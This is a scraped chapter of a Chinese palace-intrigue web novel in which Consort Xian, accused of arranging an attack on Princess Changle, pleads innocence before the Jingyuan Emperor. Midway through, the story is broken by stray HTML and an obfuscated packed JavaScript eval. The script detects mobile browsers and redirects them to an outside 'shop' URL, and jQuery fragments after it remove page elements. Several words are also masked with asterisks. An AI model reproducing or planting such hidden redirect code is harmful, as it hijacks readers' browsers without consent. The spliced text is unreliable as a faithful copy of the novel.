退一步说,就算真被刺伤,太医院那么多太医,为何验不出她体内的**?
从始至终,竟无一人提及验酒之事。
这其中,定有猫腻!
钱雅芝只觉一股寒意从脚底升起,瞬间传遍全身。
要么,晏清澜早有防备,根本没喝那杯酒。
要么……这从头到尾,实为暗算庄家的毒计!
想到这里,钱雅芝只觉得眼前的菊花都变得血红,宛如生长在庄府墓前。
身旁的晏远舟,向来沉稳,此刻也眉头紧锁,神色凝重。
御林军将他们团团围住,消息隔绝,更无法与韩承煜取得联系。
这分明就是一个死局,一个让人窒息的死局。
庄家每个人的心,都提到了嗓子眼,仿佛下一刻,就会万劫不复。
宫廷内的每一分疆土,都浸透了鲜血。
而今日,这祭奠菊花的鲜血,怕是要由庄家来流了。
心惊胆战的,又何止庄家人。
景元帝一声令下,彻查此事,谁也不知道这把火最终会烧到谁的头上。
郡主**,非同小可,若只拿一个小宫女顶罪,如何服众?
皇上大动干戈,定然不会如此草率收场。
时间一点一滴流逝,每一刻都像被拉长了一百倍。
终于,在令人窒息的等待中,调查结果浮出水面。
出乎所有人意料,幕后真凶,竟是燕王生母——贤妃。
据说是燕王童玄珏亲自带人将那宫女带走审问。
不同于往日入狱之人的哭天抢地,那宫女前脚刚踏进牢房,后脚就瘫软在地,话都说不利索。
不等用刑,她便将一切和盘托出。
她说,是贤妃指使她行刺。
如何指使?
贤妃让她将晏清澜引至僻静处,说那里早有安排,自会有武功高强之人取她性命。
可她到了约定地点,却一个人影也没见到。
更让这宫女没想到的是,贤妃竟然对她起了杀心。若不能杀了晏清澜,贤妃便要杀她灭口。
这宫女一看晏清澜喝的酩酊大醉,神智不清,自以为是个下手的绝佳时机,情急之下,便对长乐郡主动了手。
这就是事情的经过。
贤妃在面对质问时,整个人都傻了。
她不过是想坏了晏清澜的名声,让她颜面扫地。
她何时派人行刺了?
贤妃“扑通”一声跪在景元帝面前,摘下发间的金钗,任由乌发披散,泪如雨下:
“皇上……臣妾冤枉啊!”
“长乐郡主与臣妾往日无怨,近日无仇,臣妾害她做什么?”
童玄珏站在景元帝身后,冷冷地扫了贤妃一眼,声音毫无波澜:
“韩承煜与她比试,输得一败涂地,你敢说,你不是因此怀恨在心,才对本王的未婚妻痛下**?”
“皇上明鉴!欲加其罪,何患无辞?”贤妃猛地抬起头,重重地磕在冰冷的地面上,声音嘶哑,“臣妾绝非小肚鸡肠之人!这……这分明是那宫女的一面之词,您不能信啊!”
“一面之词?”
景元帝的声音依旧平淡,却让贤妃的心,一点点沉入谷底。
她看着眼前这位两鬓斑白的帝王,只觉得瑶华宫的每一块地砖,都透着彻骨的寒意。
景元帝目光如炬,盯着贤妃看了许久,突然笑了,只是那笑意,未达眼底,
“听信片面之言,朕派去的人,又怎会在那宫女的住处,搜出你瑶华宫的东西?”
他的声音陡然转厉,
“那支金镶玉的步摇,朕记得,你时常佩戴。还有一些物件,分明是朕亲赏的!”
景元帝的目光如刀,似要将贤妃凌迟,
“贤妃,你莫非要告诉朕,你宫中失窃,这些东西,都是那宫女偷的不成?”瑶华宫内,寒气如缕缕钢针,无孔不入,直扎贤妃心底。那冰凉的地砖,仿佛有种魔力,要将她吸入无底深渊。
“皇上……”
她的声音,轻得像一片即将凋零的枯叶,微微颤抖,
“臣妾……冤枉……”
景元帝高**,眼神淡淡扫过,唇角勾起一抹若有似无的弧度,那笑,冰冷,毫无温度。
贤妃如遭重击,浑身僵硬。
她做梦也想不到,自己从未给那小宫女任何赏赐,可偏偏……在那宫女住处,搜出了瑶华宫的东西!
这简直……比六月飞雪还冤!
“皇上!”她猛地叩首,“咚”的一声,额头与冰冷地面相撞,闷响回荡。
“臣妾就算要对付长乐郡主,也断不会蠢到……用这种一眼就被人看穿的法子啊!”
她急于辩解,声音尖锐得像要划破这凝滞的空气:
“这……定是有人要害臣妾!”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689454|178491||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
可话一出口,她就后悔了。
这种漏洞百出的手段,别说骗过景元帝,就连她自己这关都过不去!
谁能保证晏清澜一定会落入圈套?
万一她心血来潮,找三公主借衣服呢?
万一她酒量不佳,提前离席了呢?
这计划,从一开始就是个笑话!
贤妃的泪水,像断了线的珠子,砸在地砖上,碎成点点水花。她断断续续地解释,却越说越乱,越说越心虚。
她不甘心!
明明是童玄珏和晏清澜这对狗男女为了报复,才设下这粗糙的陷阱,可她却……有口难言!
她低着头,长长的睫毛遮住了眼底的绝望,却错过了景元帝眼中一闪而过的嘲讽。那眼神,像冰冷的刀子,一下下凌迟着她的心。
“冤枉?”
景元帝的声音,低沉,威严,每一个字都像从胸腔中发出,带着不容置疑的力量:
“那宫女的首饰盒里,有你瑶华宫的珍珠,是冤枉?”
他微微停顿,声音骤然拔高,
“镇国公府的家丁,出现在芳华园,也是冤枉?”
“贤妃!”
景元帝猛然起身,宽大的龙袍在空中划出一道弧线,他指着贤妃,声音里充满了愤怒与失望,
“你可知罪!”
贤妃的脸色,瞬间惨白如纸。
她万万没想到,宫中竟然会有镇国公府的人!
这……怎么会?
景元帝看着她脸上不断变化的神情,心中冷笑,脸上却不动声色。
他缓缓抬手,做了个手势。
两名侍卫应声而出,将一个托盘呈到贤妃面前。
托盘上,放着几件染血的兵器,还有……几块镇国公府的令牌。
“呕……”
血腥味扑鼻而来,贤妃只觉得胃里一阵翻滚,她捂住嘴,却还是忍不住干呕出声。
她看着托盘里那些熟悉的令牌,只觉得一阵天旋地转。
完了……这下彻底完了……
景元帝的声音,冰冷得像冬日里的寒冰,不带一丝情感。
“贤妃,你还有何话说?”
他缓缓走下台阶,一步步逼近贤妃。
“朕这些年,对你镇国公府,是不是太过仁慈了?”
他停在贤妃面前,居高临下地看着她,
“以至于…